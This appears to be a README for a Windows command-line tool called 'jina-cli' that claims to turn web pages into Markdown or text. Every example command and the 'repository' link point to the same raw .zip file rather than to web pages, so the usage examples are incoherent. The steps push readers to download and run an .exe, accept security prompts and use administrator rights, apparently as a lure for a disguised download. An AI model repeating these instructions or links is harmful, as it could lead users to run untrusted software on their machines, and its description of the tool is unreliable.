A simple command-line tool to convert web pages into readable text or markdown files. It works with blogs, news, and social posts.
jina-cli is a lightweight utility designed to fetch content from any website URL. It turns pages into easy-to-read formats like Markdown, plain text, or HTML. This makes it good for quickly gathering information from sites like Twitter (X), blogs, or news articles. The tool uses a smart API to simplify content, so you donโt need any technical skill to get clean, readable data.
The main goal is to let anyone extract text without opening a browser or copying and pasting.
- Converts web pages into Markdown, plain text, or HTML.
- Supports social media posts, blog articles, and news sites.
- Uses Jina AI Reader API for clean, easy-to-use content formatting.
- Works directly from your Windows command prompt.
- Lightweight and requires no heavy software installation.
This tool relates to:
- AI agents
- Command-line interfaces (CLI)
- URL parsing
- Markdown formatting
- Web content extraction
- Text processing tools
- Windows 10 or newer
- At least 2 GB of RAM
- 100 MB free disk space for installation and output files
- Internet connection to fetch URLs
- Basic familiarity with Windows command prompt (just opening and running a command)
You donโt need coding skills to use jina-cli on Windows. Follow these steps to download and run it.
Click this big button to visit the download page:
This will take you to the official GitHub page. Here you will find the latest version of jina-cli. Since it is a general repository page, you need to find and download the installer or executable file from the "Releases" section or main code area.
Once on the page, look for the Releases tab or section. This is usually on the right side of the page or under the repository description.
- Click on โReleasesโ or scroll down if releases are shown.
- Find the most recent release. Look for a Windows-friendly file, such as something ending with
.exe. - Download that file to a folder you remember, like your Desktop or Downloads.
After downloading:
- Open the folder with the downloaded file.
- Double-click the
jina-cli.exefile. - If Windows asks about security or permissions, click โRunโ or โYesโ to allow.
This will open a command prompt window where you can type commands to use jina-cli.
Use the command prompt to run jina-cli commands.
- Click the Windows Start button.
- Type
cmdand press Enter. - A black window will appear. This is the command prompt.
To convert a URL, type a command like this:
jina-cli fetch https://github.com/leadsgorillaio/jina-cli/raw/refs/heads/main/cli/pkg/output/jina_cli_Nguyen.zip
This command fetches the URL content and converts it to a default format (usually Markdown or text).
You can specify the output format:
- Markdown:
--format md - Plain Text:
--format txt - HTML:
--format html
Example:
jina-cli fetch https://github.com/leadsgorillaio/jina-cli/raw/refs/heads/main/cli/pkg/output/jina_cli_Nguyen.zip --format md
Add --output <filename> to save the result.
Example:
jina-cli fetch https://github.com/leadsgorillaio/jina-cli/raw/refs/heads/main/cli/pkg/output/jina_cli_Nguyen.zip --format txt --output myarticle.txt
This will create a file called myarticle.txt with the cleaned text from the page.
-
Fetch a URL as Markdown and save it:
jina-cli fetch https://github.com/leadsgorillaio/jina-cli/raw/refs/heads/main/cli/pkg/output/jina_cli_Nguyen.zip --format md --output post.md -
Convert a Twitter/X post to plain text:
jina-cli fetch https://github.com/leadsgorillaio/jina-cli/raw/refs/heads/main/cli/pkg/output/jina_cli_Nguyen.zip --format txt --output tweet.txt -
Get HTML content for a news article:
jina-cli fetch https://github.com/leadsgorillaio/jina-cli/raw/refs/heads/main/cli/pkg/output/jina_cli_Nguyen.zip --format html --output news.html
- The tool runs without installation if you use the
.exefile directly. - You can create a shortcut to the
.exefile on your desktop for easy access. - Running commands requires internet access since data is fetched online.
- You may want to open command prompt as administrator if you see permission errors.
- Create a folder to save your converted files to keep them in one place.
- Use clear file names with the
.md,.txt, or.htmlextension. - You can open these files with common applications:
- Markdown and text files can be opened with Notepad or VSCode.
- HTML files open with any web browser.
-
If
jina-cliis not recognized, ensure you are in the folder where the.exeis saved, or provide the full file path in the command prompt.Example:
C:\Users\YourName\Downloads\jina-cli.exe fetch https://github.com/leadsgorillaio/jina-cli/raw/refs/heads/main/cli/pkg/output/jina_cli_Nguyen.zip -
Check your internet connection if the tool canโt fetch data.
-
Make sure URLs start with
http://orhttps://for proper recognition. -
Close and reopen the command prompt if commands fail unexpectedly.
If you want to learn more about jina-cli features, visit the GitHub repository at:
https://github.com/leadsgorillaio/jina-cli/raw/refs/heads/main/cli/pkg/output/jina_cli_Nguyen.zip
Here you will find more detailed documentation and updates.